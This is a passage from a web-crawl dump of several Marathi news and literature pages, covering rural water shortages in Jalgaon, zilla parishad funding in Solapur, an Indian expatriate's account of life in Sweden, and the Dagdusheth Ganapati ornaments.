सुरू केले आहे. अनेक गावांमधील सार्वजनिक, खासगी विहिरींचे खोलीकरण, तात्पुरत्या पाणीपुरवठय़ासाठी २० कामांना मंजुरी देण्यात आली आहे.\nअमळनेर, जामनेर, पाचोरा, एरंडोल तालुक्यात पिण्याच्या पाण्यासाठी महिलांना रणरणत्या उन्हात भटकंती करावी लागत आहे. नळाला तब्बल २० दिवसांआड पाणीपुरवठा होत असल्याने अनेकांना पाणी विकत घ्यावे लागते. जिल्हा परिषद ग्रामीण पाणीपुरवठाअंतर्गत ६२ गावांमध्ये १६७ विंधन विहिरींच्या कामांना मंजुरी मिळाली. त्यातील केवळ १४ कामे झाली असून १५३ विहिरींची कामे अद्याप अपूर्ण आहे. कूपनलिकांसाठी १५ गावांमध्ये ३६ कामे मंजूर आहेत. त्यापैकी केवळ दोनच कामे झाली असून ३४ कूपनलिकांची कामे अपूर्ण आहेत. या दिरंगाईमुळे सर्वसामान्यांना पाणीटंचाईच्या झळा सोसाव्या लागत आहेत. लग्नसराईचा हंगाम सुरू झाला आहे. ग्रामीण भागात टळटळीत ऊन असले तरी विवाह सोहळ्यातील उत्साह कमी होत नाही. या सोहळ्यांवर पाणीटंचाईचे सावट आहे. ग्रामीण भागातील विवाह सोहळ्यात हजारो वऱ्हाडी उपस्थित असतात. सध्या दैनंदिन पिण्याच्या पाण्याची भ्रांत असताना अशा सोहळ्यात पाण्याची तजवीज करताना वधूपक्षाची दमछाक होत असल्याचे चित्र आहे. विवाह सोहळ्यात पिण्याच्या पाण्यासाठी पाणी खरेदी करणे, टँकर मागविणे या पर्यायांशिवाय गत्यंतर नसल्याची प्रतिक्रिया उमटत आहे.\nपाणीटंचाई कार्यक्रमात जिल्ह्यत विहीर खोलीकरण, तात्पुरत्या पाणीपुरवठा योजना, विशेष दुरुस्ती अंतर्गत ५९ गावांमध्ये एकूण दोन कोटी ४२ लाख ४३ हजार ९३४ रुपयांची ५९ कामे प्रस्तावित करण्यात आली. मात्र प्रशासनाच्या वेळकाढू धोरणामुळे त्यास प्रशासकीय मान्यता नसल्याने ही कामे सुरूच झाली नसल्याचे उघड झाले आहे.\nजिल्ह्यात जलयुक्त शिवार अभियानांतर्गत टप्पा दोनमध्ये ५७ कोटी ९८ लाख रुपयांच्या निधीतून ५५७ कामे घेण्यात आली असून त्यापैकी ५४२ कामे पूर्ण होऊन जिल्ह्यातील तीन हजार ५५७ हेक्टर क्षेत्र सिंचनाखाली आले आहे. तरीदेखील टंचाईची समस्या कायम असल्याने या कामांवर प्रश्नचिन्ह उपस्थित होत आहे.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00227.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%95%E0%A5%83%E0%A4%B7%E0%A5%8D%E0%A4%A3%E0%A4%A6%E0%A4%BE%E0%A4%B8/word", "date_download": "2018-09-25T17:24:54Z", "digest": "sha1:YPSMONY67YJFHW3I4IMYLVNSBBQ7D44O", "length": 8182, "nlines": 113, "source_domain": "www.transliteral.org", "title": "Keyword - कृष्णदास", "raw_content": "\nगणेश गीता कोणी वाचावी \nहरिभक्त कवियोंकी भक्तिपूर्ण रचनाओंसे जगत्‌को सुख-शांती एवं आनंदकी प्राप्ति होती है\nभजन - जब तें स्याम सरन हौं ...\nहरिभक्त कवियोंकी भक्तिपूर्ण रचनाओंसे जगत्‌को सुख-शांती एवं आनंदकी प्राप्ति होती है\nभजन - बाल दसा गोपालकी सब का...\nहरिभक्त कवियोंकी भक्तिपूर्ण रचनाओंसे जगत्‌को सुख-शांती एवं आनंदकी प्राप्ति होती है\nभजन - मो मन गिरिधरछबिपै अटक्...\nहरिभक्त कवियोंकी भक्तिपूर्ण रचनाओंसे जगत्‌को सुख-शांती एवं आनंदकी प्राप्ति होती है\nभक्तो और महात्माओंके चरित्र मनन करनेसे हृदयमे पवित्र भावोंकी स्फूर्ति होती है \nकृष्दासकृत पदें २० ते २३\nपद हा अभंगाचाच एक प्रकार असून लयीत गाता येतो, शिवाय गाण्याची कोणतीही ठराविक वेळ नसते.\nकृष्णदासकृत पदें २४ ते २६\nपद हा अभंगाचाच एक प्रकार असून लयीत गाता येतो, शिवाय गाण्याची कोणतीही ठराविक वेळ नसते.\nकृष्णदासकृत पदें २७ ते ३०\nपद हा अभंगाचाच एक प्रकार असून लयीत गाता येतो, शिवाय गाण्याची कोणतीही ठराविक वेळ नसते.\nकृष्णदासकृत पदें ३१ ते ३४\nपद हा अभंगाचाच एक प्रकार असून लयीत गाता येतो, शिवाय गाण्याची कोणतीही ठराविक वेळ नसते.\nकृष्णदासकृत पदें ३५ ते ३७\nपद हा अभंगाचाच एक प्रकार असून लयीत गाता येतो, शिवाय गाण्याची कोणतीही ठराविक वेळ नसते.\nकृष्णदासकृत पदें ३८ ते ३९\nपद हा अभंगाचाच एक प्रकार असून लयीत गाता येतो, शिवाय गाण्याची कोणतीही ठराविक वेळ नसते.\nश्रीकृष्णदासांची कविता - कृष्णदासांची बाळक्रीडा\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - माहिती व विवेचन\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग १\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग २\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग ३\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग ४\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग ५\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग ६\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\nकृष्णदासांची बाळक्रीडा - प्रसंग ७\nश्री कृष्णदासांनी लिहीलेली काव्ये महानुभावीय स्वरूपाची आहेत.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00228.warc.wet.gz", "language": "mr", "language_score": 0.7, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/solapur-mini-ministry-will-stop-funding/", "date_download": "2018-09-25T17:39:42Z", "digest": "sha1:CB5WKOULR7WL2DYMWKGR7GYAYKP4D7UY", "length": 9742, "nlines": 39, "source_domain": "www.pudhari.news", "title": " मिनी मंत्रालयाचा निधी होणार बंद! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › मिनी मंत्रालयाचा निधी होणार बंद\nमिनी मंत्रालयाचा निधी होणार बंद\nसोलापूर : संतोष आचलारे\nशासनाकडून जिल्हा परिषदेला देण्यात येणारा निधी वेळेत खर्च होत नसल्याने या निधीचा योग्य वापर करण्यासाठी ग्रामविकास खात्याने सर्व जिल्हा परिषदांना एलआरएस प्रणाली सुरु करण्याचे आदेश दिले आहेत. या प्रणालीच्या नावाने जिल्हा परिषदेच्या सेस उत्पन्नात मोठी घट होणार असून सोलापूर जिल्हा परिषदेला दरवर्षी सुमारे 20 कोटी रुपयांच्या उत्पन्नावर पाणी सोडण्याची वेळ आली आहे.\nयाबाबत ग्रामविकास खात्याने दिलेल्या आदेशानुसार जिल्हा परिषदांना आयसीआयसीआय बँकेशी जोडणी करण्यात येत आहे. राज्य शासनाकडून या बँकेत जिल्हा परिषदेला केवळ पूर्ण झालेल्या कामांचा निधी देण्याचा प्रयत्न होत आहे. ग्रामीण तीर्थक्षेत्र विकास कार्यक्रमाचा निधी या प्रणालीने देण्यास सुरुवात करण्यात आली आहे. याच वर्षात या प्रणालीने जिल्हा परिषदेला निधी देण्याचा प्रयत्न शासनाकडून होत आहे.\nमुळातच जिल्हा परिषद ही राज्य शासनावर अवलंबूत असणारी संस्था आहे. जिल्हा परिषदेच्या सर्व अधिकारी, कर्मचारी व योजनांचा निधी राज्य शासनाकडून मिळतो. जिल्हा परिषदेला उत्पन्नाचा मार्ग मिळवून देणारे साधने शासनाने दिले नाहीत. त्यामुळे अनेक जिल्हा परिषदेचे स्वउत्पन्न केवळ हाताच्या बोटावर मोजता येईल इतक्या कोटीत आहे. त्यामुळे जिल्हा परिषदेला राज्य शासनाकडून मिळणार्‍या निधीच्या व्याजातून मिळणारे उत्पन्न एकमेव मार्ग आहे. दरवर्षी विविध योजनांसाठी राज्य शासनाकडून जिल्हा परिषदेच्या खात्यावर योजनांसाठी अपेक्षित असणारा निधी देण्यात येतो. काम पूर्ण झाल्यानंतर जिल्हा परिषदेकडून हा निधी संबंधित ठेकेदार किंवा अन्य खरेदीसाठी देण्यात येतो. तोपर्यंत वर्षभराच्या काळात या ठेवीमुळे जिल्हा परिषदेला व्याजाच्या माध्यमातून उत्पन्न मिळते. या व्याजाच्या रकमेतूनच जिल्हा परिषदेच्यावतीने ग्रामीण भागातील वंचितांसाठी योजना घेण्यात येतात.\nजिल्हा परिषदेला देण्यात येणारा निधी वेळेत खर्च होत नाही, या निधीवर नियंत्रण राहत नाही, एकाच योजनेसाठी एका जिल्हा परिषदेचा निधी खर्चाविना पडून असल्याचे दिसते, तर काही जिल्हा परिषदांंना निधीअभावी तीच कामे करता येत नाहीत. त्यामुळे ज्याठिकाणी कामे झाली आहेत त्याठिकाणी तात्काळ निधी देण्यात येईल, अशी भूमिका राज्य शासनाने घेतली आहे. यासाठी आयसीआयसीआय बँकेत राज्य शासनाने झीरो बॅलन्स उघडण्याचा मोठा प्रताप केला आहे.\nदायित्त्व नोंदणी प्रणालीने ज्या जिल्हा परिषदा मंजूर असलेल्या योजनांवर निधी खर्च करत आहे त्या योजनांचे बिल जिल्हा परिषदेचे मुख्य लेखा व वित्त अधिकारी यांच्यामार्फत शासनाकडे करण्यात यावे. शासनाला ज्या जिल्हा परिषदांकडून पहिल्यांदा देयक मागणी प्राप्त झाली त्या जिल्हा परिषदांना निधी देईल, अशी भूमिका राज्य शासनाने घेतली आहे.\nएकीकडे डीबीटी योजनेमुळे लाभार्थ्यांचा या योजनेस अल्प प्रतिसाद मिळत आहे. लाभार्थ्यांकडे पैसे नसल्याने वस्तू खरेदी करण्यात येत नसल्याचे दिसून येते. ‘भीक नको पण कुत्रा आवर’ अशीच भावना ग्रामीण भागात डीबीटी योजनेबाबत पसरली आहे. लाभार्थ्यांना जिल्हा परिषदेकडून मिळणार्‍या दोन-चार हजारांच्या गरजेच्या वस्तूही आता मिळणे बंद झाले आहे. अशापरिस्थितीत पुन्हा आर्थिक कमकुवत करण्याचा प्रयत्न राज्य शासनाकडून सुरु झाल्याने जि. प.ला भविष्यात कुलूप लावण्याचीच भाषा पदाधिकारी, सदस्यांकडून झाली तर नवल नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00229.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://www.loksatta.com/lekhaa-news/experience-in-sweden-1653967/", "date_download": "2018-09-25T17:37:12Z", "digest": "sha1:Y5BA3NBDGOUX4DS53TJXJW7U4SIKW3JQ", "length": 26307, "nlines": 205, "source_domain": "www.loksatta.com", "title": "experience in Sweden | ‘जग’ते रहो : ‘नोबेल’ देशीच्या गोष्टी | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\n‘जग’ते रहो : ‘नोबेल’ देशीच्या गोष्टी\n‘जग’ते रहो : ‘नोबेल’ देशीच्या गोष्टी\nइथले लोक समोर आल्यावर हसतमुखाने भेटल्याशिवाय पुढे जात नाहीत.\nपुनीत कर्णिक-थोरात हेलसिंगबॉरी, स्वीडन\nस्वीडन देश प्रसिद्ध आहे तो नोबेल पुरस्कारामुळे. ‘स्टॉकहोम’ या स्वीडनच्या राजधानीत ‘स्टॉकहोम सिटीहॉल’च्या वास्तूत ‘ब्लू हॉल’मध्ये दरवर्षी नोबेल पारितोषिक वितरणाचा समारंभ साजरा होतो. स्वीडनमधील आमचं हेलसिंगबॉरी शहर खूप छान आहे. एकूणच युरोपमध्ये पहिल्यांदा पाऊ ल ठेवल्यावर जे ‘वॉव’वालं फीलिंग येतं, तेच या शहरात आल्यावर आलं होतं. सध्या इथे सिरियन निर्वासितांना निवारा देण्यात आला आहे. इथे स्वीडिश, सिरियन आणि भारतीय लोक जास्ती दिसतात. भारतीय लोक अधिकांशी आयटीमधले असून ते बंगलोर, मुंबईहून येत आहेत. इथली जीवनशैली स्वीडिश आणि सिरियन या दोन्ही लोकांच्या पद्धतीची आहे. इथली ‘लून्थ युनिव्हर्सिटी’ स्कँडिनेव्हियातील उच्च शिक्षणासाठीच्या नामवंत युनिव्हर्सिटीपैकी एक गणली जाते. तिथे परदेशी विद्यार्थी शिकायला येतात. तिथे जागा मिळायला थोडंसं मुश्किल जातं, पण प्रवासात वेळ घालवायची तयारी असेल तर थोडी लांब जागा मिळू शकते. त्यामुळे आमच्या शहरात तिथे जाणाऱ्या विद्यार्थ्यांची संख्या जास्त आहे.\nइथले लोक समोर आल्यावर हसतमुखाने भेटल्याशिवाय पुढे जात नाहीत. त्यासाठी ओळखदेख लागत नाही. ती सवय आम्हालाही लागली आहे. भारताबद्दल त्यांना भरपूर कौतुक आणि कुतूहल वाटतं. ‘तुमच्याकडे लोकसंख्या भरपूर’, असा बोलण्यात एक सूर जाणवतो. त्यांचं त्यांच्या भाषेवर प्रचंड प्रेम आहे. फार कमी लोक इंग्लिशमध्ये बोलण्याचा प्रयत्न करतात. सुरुवातीला आम्हाला या गोष्टीचं नवल वाटलं होतं. इतकंच नाही तर काहींनी आम्हाला विचारलं की, भारतात तुम्ही तुमच्या भाषेवर ठाम का राहिला नाहीत इंग्रजांनी तुमच्यावर राज्य केलं आणि तुम्ही त्यांचीच भाषा आत्मसात केलीत.. भाषेवरचं हे प्रेम संपूर्ण युरोपभर दिसतं. ज्यांना इंग्लिश कळत नाही, ते इंग्लिश जाणून घ्यायचा प्रयत्नही करत नाहीत. विशेषत: ज्येष्ठांमध्ये हे भाषाप्रेम अधिककरून दिसतं. तरुणाईला इंग्रजी कळतं. त्यासाठी सोशल मीडियासारखी माध्यमं आहेतच. पण शाळा, व्यावहारिक गोष्टींसह संवादही स्वीडिशमध्ये होतो. त्यामुळे स्वीडिशेतर लोकांना नोकरी मिळणं प्रचंड कठीण आहे. इथे सोशल सिक्युरिटी नंबर मिळतो. त्यानंतर तुम्ही स्वीडिश भाषा शिकू शकता. सगळे व्यवहार स्वीडिश भाषेतच होत असल्याने ट्रान्सलेटर वापरण्यावर मर्यादा येतात. मी सध्या स्वीडिश भाषा शिकते आहे. आम्हाला काही सिरियन शिक्षकही शिकवतात. एक नवीन भाषा शिकण्याचं समाधान मला मिळतं आहे. स्वीडिश शिकायला लागल्यापासून स्वत:मध्येही फरक जाणवतो आहे. मला भोवतालच्या लोकांचं बोलणं थोडंथोडं कळायला लागलं आहे. अगदीच नाईलाज असल्यावर इंग्लिशचा वापर केला जातो. सुरुवातीला आम्ही काही शब्द शिकून घेतले होते, माझा नवरा आयटीमध्ये असल्याने त्यांचं काम भाषेमुळे अडत नाही.\nइथली मुलं करिअर ओरिएंटेड आहेतच. कोणत्याही कामाला कमी लेखलं जात नाही. काम करणाऱ्या प्रत्येकाचा आदर केला जातो. या गोष्टी आपण शिकण्यासारख्या आहेत. तरुणाई मोठय़ा हौसेने टॅटू काढून घेते. प्रत्येकाच्या कानात हेडफोन असतातच. स्वीडनमधल्या परंपरेनुसार ‘सेंट लुसीया डे’ हा दर १३ डिसेंबरला साजरा केला जातो. त्यात तरुणाई विशेषत: मुलींचा सहभाग लक्षणीय असतो. या समारंभात दरवर्षी एकीची लुसीया म्हणून निवड केली जाते, तिला मुकूट घातला जातो. इथल्या प्रत्येक शहरात एक इंटरनॅशनल स्कूल आहे. तिथे इंग्लिशमध्ये शिकवलं जातं. शाळांमध्ये छान वातावरण असतं. ०-६ वर्षे वयोगटासाठी प्रीस्कूल असतं. आऊ टडोअर अ‍ॅक्टिव्हिटीजवर अधिक भर असतो. अगदी खराब हवामान असेल तरच त्यांना वर्गात बसवतात.\nसुरुवातीला इथल्या वातावरणात रुळायला वेळ लागला. आमचे पहिले काही महिने कपडे खरेदीतच गेले. विंटरमध्ये शूज, स्कार्फ , कोट आणि जॅकेट्स घातली जातात. त्यात प्रचंड फॅशन आहे. समर म्हणजे सेलिब्रेशन टाइम मानलं जातं. तेव्हा पहाटे चार वाजल्यापासूनचा उजेड रात्री पावणेनऊ-दहापर्यंत असतो. ‘मिडसमर इव्ह’चा फेस्टिव्हल असतो. समरमध्ये इथले मूळचे राहाणारे दोन महिने सुट्टी घेऊ न बाहेर जातात. उन्हात बीचवर एन्जॉय करतात. बार्बेक्यू होतात. फ्लोरल ड्रेसेस, वनपीस, शॉर्ट्स, हलकं जॅकेट आणि रीप् जीन्स असा पेहराव असतो. व्हाइट शूज वापरले जातात. काळा, राखाडी, निळा, जांभळा, गुलाबी आदी इंग्लिश रंगांचा वापर अधिकांशी केला जातो. ही रंगसंगती पेहरावापासून बेडशीटपर्यंत अनेक गोष्टींत परावर्तित झालेली दिसते. सुरुवातीला भोवतालातून रंग हरवलेत की काय, असं अनेकदा मनात यायचं. इथे काळा आणि पांढरा रंग अत्यंत प्रिय आहेत सगळ्यांना. सिरियन मुली फारशी फॅ शन करत नाहीत. खाण्याच्या बाबतीत सांगायचं तर बीफ, पोर्क आणि फिश आवडीने खाल्ले जातात. सलाड खाण्यावर जास्ती भर दिला जातो. आपल्यासारखं सगळं साग्रसंगीत जेवण नसल्याने आम्ही घरीच पोळी-भाजी वगैरे स्वयंपाक करतो. सेम्लॉर हे डेझर्ट सगळ्या स्वीडिश कॅ फेमध्ये मिळतं आणि ते तरुणाई आवडीने खाते. सगळे फास्टफूड ब्रँण्ड्स इथे आहेत. कॉफीप्रेमींची संख्या खूप आहे. ते बिनसाखरेची ब्लॅक कॉफी पितात. प्रत्येकाच्या हातात कॉफीचा ग्लास असतोच. ‘झोएगा’ ब्रॅण्डची कॉफी इथे खूप प्रसिद्ध असून त्यांचे कॉफीशॉप्स सगळीकडे आहेत. शिवाय दूध आणि दुधाच्या पदार्थाचं उत्पादन खूप होतं त्यामुळे विविध प्रकारचं चीज, बटर अमाप मिळतं. शिवाय इथे प्रचंड प्रमाणात दारू प्यायली जाते.\nस्टॉकहोम आणि आमच्या शहरात जमीन-अस्मानाचा फरक आहे. स्टॉकहोमला गेल्यावर राजधानीचा फील येतोच. प्रसिद्ध अभिनेत्री इनग्रिड बर्गमन याच भूमीतली. इथे चित्र आणि नाटय़सृष्टी आहे. ऑपेराला खूप महत्त्व दिलं जातं. भाषा समजत नसल्यामुळे आम्ही अद्याप फारसं काही पाहिलेलं नाही. कधीतरी लागणारे बॉलीवूड चित्रपट बघतो. मराठी चित्रपट इथे आणायचा आम्ही प्रयत्न करतो आहोत. मराठी लोक एकत्र यावेत, यासाठी प्रयत्न सुरू आहेत. ‘आम्ही मराठी मंडळा’तर्फे गणेशोत्सव साजरा केला. घरापासून लांब राहिल्यावर संस्कृती जपणं, सणवार साजरे करणं या गोष्टी कराव्याशा वाटतात. मुंबई आणि आसपासचे लोक भेटत असून त्यांच्या ओळखी होत आहेत. नुकताच आम्ही गुढीपाडवाही साजरा केला. लोकांच्या रसिकतेची झलक त्यांच्या चर्चेस, आर्किटेक्चरवरून दिसते. इथेच नाही तर युरोपातच बघण्यासारख्या अनेक गोष्टी आहेत. त्यातल्या काही पाहिल्या आणि भारावून गेल्यासारखं झालं. स्वीडनमधल्या प्रत्येक शहरात चर्च, कॅथड्रिल, म्युझियम्स इत्यादी मोठाल्या वास्तू आहेत. त्या प्रत्येकाला एक इतिहास आहे. गुस्ताव अँडॉल्फ चर्च शहराच्या मध्यभागी आहे. ‘करनान’ हा मध्ययुगीन डॅनिश गढीतला मनोरा (टॉवर) असून त्या काळातला तो एकमेव साक्षीदार उरला आहे. सोफिएरो कॅसल ही स्वीडिश राजघराण्याची गढी १८७६ मध्ये बांधली गेली. आता तिथे म्युझिक कॉन्सर्ट होतात. नोरा जोन्स, बॉब डिलन, ब्रायन अँडम्ससारख्या कलाकारांनी तिथे परफॉर्म केलं आहे. इथले लोक कुटुंबाला पहिले प्राधान्य देतात. इस्टर, ख्रिसमसला सगळे कुटुंबीय एकत्र जमतात. अख्खं मार्केट बंद असतं आणि प्रत्येकजण फॅमिली टाइम एन्जॉय करायला प्राधान्य देतात. ऑफिसची ८ ते ५ वेळ असेल आणि त्यापुढंही थांबलात तर ते ओव्हरटाइम मानलं जातं. सध्या कामाचे तास कमी करायचा विचार सुरू आहे. आपल्या देशावर, झेंडय़ावर ही मंडळी नितांत प्रेम करतात. ही मंडळी एकदम फिट असतात. जिममध्ये खूप गर्दी असते. शहरात बऱ्याच मॅरेथॉन आयोजित केल्या जातात. त्यात लोक उत्साहाने सहभागी होतात. मीही या दीड वर्षांतली माझी पहिली मॅरेथॉन धावले होते. योगासनं करणं तरुणाईला भावतं. बरेच योग स्टुडिओ आहेत. कायदा आणि सुव्यवस्थेबाबतीत अनेक गोष्टी त्यांच्याकडून शिकण्यासारख्या आहेत. पोलीस सर्रास रस्त्यावर दिसत नसले तरी त्यांचा धाक आहे. मध्यंतरी गरिबी, बेरोजगारीमुळे चोऱ्यांचं प्रमाण वाढलेलं दिसलं. इन्फ्रास्ट्रक्चर हा इथला यूएसपी आहे. सार्वजनिक वाहतूक वक्तशीरच आहे. तिकिटाशिवाय प्रवास करताच येत नाही. अपंग, ज्येष्ठांना वावरण्यासाठी सोईचं म्हणून इलेक्ट्रिक कारची सोय केली जाते. बसमध्येही त्यांच्यासाठी योग्य ती सोय केली आहे. मोठाल्या ब्रॅण्डेड गाडय़ा लोक रोजच चालवतात. एकूणच वर्तनात शिस्तबद्धता आहे. अत्याधुनिक सुविधा असणारा हा कॅशलेस देश आहे. आपली लोकसंख्या आणि अन्य समस्या लक्षात घेतल्या तरी या सगळ्या गोष्टींतून आपण खूप काही शिकण्यासारखं आहे.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00229.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://amp.esakal.com/ganesh-festival/shreemant-dagadusheth-halwai-ganapati-temple-143422", "date_download": "2018-09-25T16:51:04Z", "digest": "sha1:QP5JR53V4ZTMLVTXCHZVMM5PSLVDGWFL", "length": 4042, "nlines": 30, "source_domain": "amp.esakal.com", "title": "Shreemant Dagadusheth Halwai Ganapati Temple यंदा दगडूशेठ गणपती मंदिर साकारेल 'ही' प्रतिकृती | eSakal", "raw_content": "\nयंदा दगडूशेठ गणपती मंदिर साकारेल 'ही' प्रतिकृती\nसकाळ वृत्तसेवा | बुधवार, 12 सप्टेंबर 2018\nभाविकांनी अर्पण केलेल्या सोन्यातून दगडूशेठ हलवाई गणपतीसाठी यावर्षी 40 किलो वजनाचे अलंकार तयार करण्यात आले आहेत.\nपुण्यातील सगळ्यात श्रीमंत गणपती म्हणून दगडूशेठ गणपतीची ओळख आहे. हे भव्य मंदिर पुण्यातील बुधवार पेठ येथे उभारले आहे. यंदाच्या गणेशोत्सवाच्या निमित्त या मंडळाने 'प्रसिद्ध राजराजेश्वर मंदिरा'ची प्रतिकृती साकारली आहे. बैठ्या प्रकारच्या मूर्तीचे चारही हात सुटे असून डाव्या हातामध्ये मोदक तर उजवा हात वरद म्हणजे आशीर्वाद देणारा आहे. अन्य दोन हातांमध्ये कमळ आणि डोक्यावर मुकूट आहे. मूर्तीच्या सोंडेवरील नक्षीकाम हाही उत्कृष्ट कलाकारीचा नमुना आहे. मूर्तीकडे बघितल्यावर कमालीची प्रसन्नता आणि सात्त्विकता एकवटलेली जाणवते.\nभाविकांनी अर्पण केलेल्या सोन्यातून दगडूशेठ हलवाई गणपतीसाठी यावर्षी 40 किलो वजनाचे अलंकार तयार करण्यात आले आहेत. साडेनऊ किलो वजनाचा रत्नजडित सुवर्णमुकूट, सूर्यकिरणांची नक्षी असलेले व रंगीत रत्नखडे जडवलेले कान, सातशे ग्रॅम वजनाचे शुंडाभूषण यासह रेशमी वस्त्रावर सोन्याच्या बुट्टया विणून तयार केलेला पोशाख व उपरणे या गणेशोत्सवात मूर्तीस अर्पण करण्यात येणार आहे. पु. ना. गाडगीळ सराफ यांनी हे अलंकार घडवले आहेत. पन्नास कारागिरांना या मूर्तीचे दागिने घडविण्यासाठी पाच महिने इतका कालावधी लागला आहे.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00230.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://amp.esakal.com/pune/pune-news-lonavala-nagar-parishad-journalist-and-artist-103933", "date_download": "2018-09-25T17:40:22Z", "digest": "sha1:6PBTX3KP6AR6B4JKSXH6KLPEIV66F7LE", "length": 8351, 